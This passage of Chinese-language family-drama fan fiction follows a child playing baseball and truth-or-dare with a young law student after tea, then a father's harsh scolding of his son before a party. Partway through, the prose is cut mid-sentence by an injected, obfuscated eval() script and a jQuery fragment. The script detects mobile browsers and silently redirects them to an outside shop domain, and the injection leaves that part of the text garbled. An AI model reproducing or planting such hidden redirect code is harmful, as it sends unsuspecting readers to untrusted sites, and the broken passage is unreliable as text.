有克莱尔的监督下，道林最终没能把面前的全部甜点吞进肚子。伊顿麦斯留了个由果酱和淡奶油混合成的底，水果馅饼也只吃了靠近尖角的那半。
说是下午茶，但全桌成年人所食量加在一起，还没有道林一个人意定食量来得多。道林瘪着嘴，挥舞着叉子，在剩下的水果馅饼上大杀四方，嘴里嘟囔着：
“坏妈妈。”
克莱尔皱眉转过头，重复道：
“妈妈？”
道林只“哼”。
一方小圆桌上，满满当当塞了五张椅子，任何人的任何动作，都避免不了被其他四人感知。而两个人的交谈，即便已经缩减音量，但并不会有什么效果，依旧引起了艾伦和杰的注意。
杰只是又往嘴里填了口伊顿麦斯，倒是艾伦抓起帕子擦擦手，望向窗外干净到显得空旷的草地，说：
“我记得，家里应该还有塞姆当年在高中的棒球，想出去试试吗，小家伙？当年塞姆可是打出过全垒打的。”
道林问：“那是什么？”
不需得看向艾伦，塞姆自觉朝道林微倾了倾身，说：
“外面空地的大小刚好，我觉得我们可以先从最基础的试试，你觉得呢？”
道林张大嘴巴“哇哦”了一声，瞪大了眼睛，说：
“当然。”
接着蹬着桌腿推开椅子，先快速站上去在克莱尔脸颊上亲一口，说：
“抱歉，妈咪，我亲爱的好妈咪。我要出去玩球了。”
说完就像坐滑梯般丝滑落地，一马当先地从来时的门冲出去。塞姆抓起腿上的餐巾，扔到几乎未动的水果馅饼上，匆忙追出去。
目送两人离去，艾伦望向敞开的大门等了会，才收回视线，说：
“今天晚上来的人不会太多......”
踩在草地上，道林朝那座他刚逃出来不久的玻璃房子跑去。身后，塞姆站在原地，静心等去拿球、棒和手套的本杰明。
敲敲面前玻璃墙，道林做了一连串的鬼脸，得到自己想要的反应，心满意足地回到塞姆身边。只可惜，本杰明还没把东西送来。整个人呈“大”字的躺到地上，道林拍拍身旁的空处，问：
“你要一直站到本杰明来吗？”
隔空望向远处的阳光房，塞姆还是缓缓盘腿坐下来。
道林像在雪地一样，四肢贴着地四肢来回摆动，感受着草的触感，割草机刚压过的味道，舒服得道林想闭眼。他也确实闭上眼，说：
“你和米球儿是同学，所以你也是学法律的吗？”
塞姆蜷起腿，双手相互拉扯箍在小腿上，说：
“Yes.”
道林依旧闭着眼，说：
“那你如果要想成为一名好律师，需要格外的努力。”
塞姆扭头看向道林，说：
“为什么？”
道林说：“每次外公说不过米球儿舅舅时，他都会说，‘你去法学院可真是去对了’。”
塞姆问：“他们之间，居然会吵架吗？”
道林脖子一弹，猛地张开眼从地上坐起来。塞姆见状补充道：
“我的意思是，当着你的面。”
道林歪着脑袋，盯着塞姆，耐心道：
“当然。还有，我也不觉得这是吵架，只不过是正常的社交摩擦。毕竟，吵架是件很严重的事吧？我认为，只有大家只想发泄情绪，不想解决问题时，才能叫吵架。看！我就说你还有得练。”
塞姆眼里全是不可思议，一错不错地盯着道林的眼睛。
道林不由瞪大眼睛，问：
“我说的，难道有哪里不对吗？”
塞姆缓缓摇头，说：
“不，你说的很对。”
道林拍拍胸脯，说：
“那就好。”
塞姆原地转了个角度，问：
“我能问你个问题吗？”
道林说：“当然。而且你可以完全信任我，如果我不知道，会实话实说的。”
塞姆说：“你为什么懂这么多？”
道林说：“是因为我很聪明。毕竟妈咪都说了，我是个天才，像斯塔克一样的天才。”
塞姆说：“哦？你还认识斯塔克？”
道林摇摇头，说：
“不认识啊，但妈咪总不会拿我和个坏人作比较。”
不会吗？塞姆又问：
“那你爸爸呢？”
道林说：“爹地很幼稚的。”
他撑着地，由正坐换为跪坐，又说：
“你已经问过我三个问题了，现在该换我了。”
塞姆一摊手，说：
“来吧。”
道林伸出一根手指，说：
“你是真的想带我出来玩的吗？”
塞姆问：“实话？”
道林说：“我想我知道了。”
塞姆挤出一个问题，说：
“下一个问题是什么？”
道林又伸出一个手指，说：
“为什么？你不喜欢我吗？但每个人都喜欢我。”
塞姆说：“没有人能得到所有人喜欢。”
道林说：“我就可以。”
塞姆没有争执，只是说：
“我也没有不喜欢你，我只是，只是有些不适应。”
道林说：“我理解。毕竟不是每个人都能像我一样聪明，我会等你的。”
塞姆睁大眼睛，感概道：
“WOW！我现在能理解，为什么你认为所有人都会喜欢你了。”
道林窜起来，甚至是原地蹦了一下，问：
“那你呢？”
塞姆“嗯——”着佯装思考了好一会儿，才在道林的失望中说：
“比上一秒要更喜欢些。”
道林两手撑着身前的两根背带，说：
“不用安慰我的，塞姆。”
塞姆说：“不，当然不是。我们一直都在玩真心话大冒险，不是吗？”
道林撸背带的手一顿，问：
“那是什么？”
塞姆说：“一种大孩子们才知道的游戏。”
道林眨着眼睛问：
“是这个游戏好玩？还是棒球更好玩？”
塞姆说：“如果要我说，我会觉得这两个一样有意思。”
道林问：“那你能都教我吗？”
塞姆说：“我的荣幸，小王子。”
湛蓝的天空逐渐染上紫调，黄色棒球手套包裹着白色棒球，和木色球棒七扭八歪地倒在草地上。透明阳光房里，明黄色的灯光照亮每个角落，原本满当当的小圆桌眨眼间恢复干干净净。围在桌前的大人们四散而去，为倒计时做着最后准备。
客房里，杰打开敲响的房门，是本杰明送来了克莱尔给道林准备的备用衣服。进了趟卧室，他将整套衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622870|205941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
服扔上床，重新坐回打开的电视前，一手执着香槟杯，朝浴室里高喊道：
“还要多久？”
隔着浴室门，克莱尔的声音传出道：
“再等一会儿。”
落客区，更多打着领结、穿着礼服的侍者站在门廊下。金属大门已经大敞，仔细听，似乎已经有车压过马路的声音，和发动机的轰鸣。
二楼的书房，塞姆坐在桌子旁边接待区的软椅上，眼睛看着虚空的某个点，艾伦站在窗前，眺望着随时驶出某辆豪车的大门。他双手撑着窗台，说：
“我以为，你最起码能比三岁小孩儿再成熟点儿。”
塞姆早已低下头，说：
“抱歉，父亲。”
艾伦侧过脑袋，凝视着坐在他身后的塞姆，说：
“我很失望。你在做什么？让一个小孩儿牵着你走。我甚至不敢想，未来法庭上、谈判桌上，你就是拿这副鬼样子，来为律所争取客户青睐的。And，我还天真的以为，我能比计划早几年退休。但现在呢？你甚至还比不过普里切特家，那个半路出家的同性恋儿子。”
塞姆双手紧紧攥成两个拳头，说：
“......抱歉。”
艾伦转过身，带着周身的戾气，两只手摊开用力向下一堕，说：
“你是有什么毛病，嗯？这年头，难道耶鲁还教未来的大法官、大律师们要讲礼貌了？啊！”
塞姆压着声音，嘴巴张开条细缝，口腔的肌肉几乎没有动作，仿佛腹语般道：
“我只是......”
短短两个音，像是相机快门的“咔嚓”声，塞姆的眼睛就是镜头，一眨眼就是一帧画面，然后组合成一副连环画。
艾伦锁紧着眉头，不得不向前探出一步，好像这样就能听清塞姆的下文。但一切徒劳，他只能问：
“你在该死的说什么？”
塞姆一抿嘴，起身说：
“抱......不，时间不早了，我先去换衣服了。”
艾伦深深喘出口气，转身重新面向窗外，背对着塞姆摆摆手，直到那阵刻意压低的关门声。
一楼客房卧室，裹着浴巾的道林被克莱尔抱上床，一边给道林擦头发，一边止不住地夸道：
“妈咪的小天才，你是什么时候学会自己洗澡的？为什么你总是这么厉害？还有，妈咪怎么总是这么骄傲？”
道林整个人都藏在像条小薄被的浴巾里，顺着克莱尔手上的力道东倒西歪，嘴里还不忘咯咯笑着回答。他说：
“这很简单。先在水里游一会儿，接着让全身上下沾满泡泡，最后捏住鼻子，就看我能在水里憋多久的气啦。”
克莱尔找到浴巾缝隙，将道林从中解救出来，说：
“哇哦，听起来可真有趣。是爹地教你的方法吗？”
道林说：“一半一半吧。”
听到里间动静，杰一手关上电视，眼睛不离不弃地坚持到黑屏前最后一秒，一手托着香槟杯将其中液体一饮而尽。放下杯子，他走向卧室，嘴角挂着笑地倚到门框上，对衣服上不可避免染上些水渍的克莱尔说：
“我以为要再狼狈点儿。”
听到声音，克莱尔并未分出眼神，余光扫到床上道林的衣服，便直接朝杰的方向扔去，然后头也不回地朝刚出来的盥洗室走去，说：
“帮他穿上衣服，爸爸。然后收拾完了带他进来。”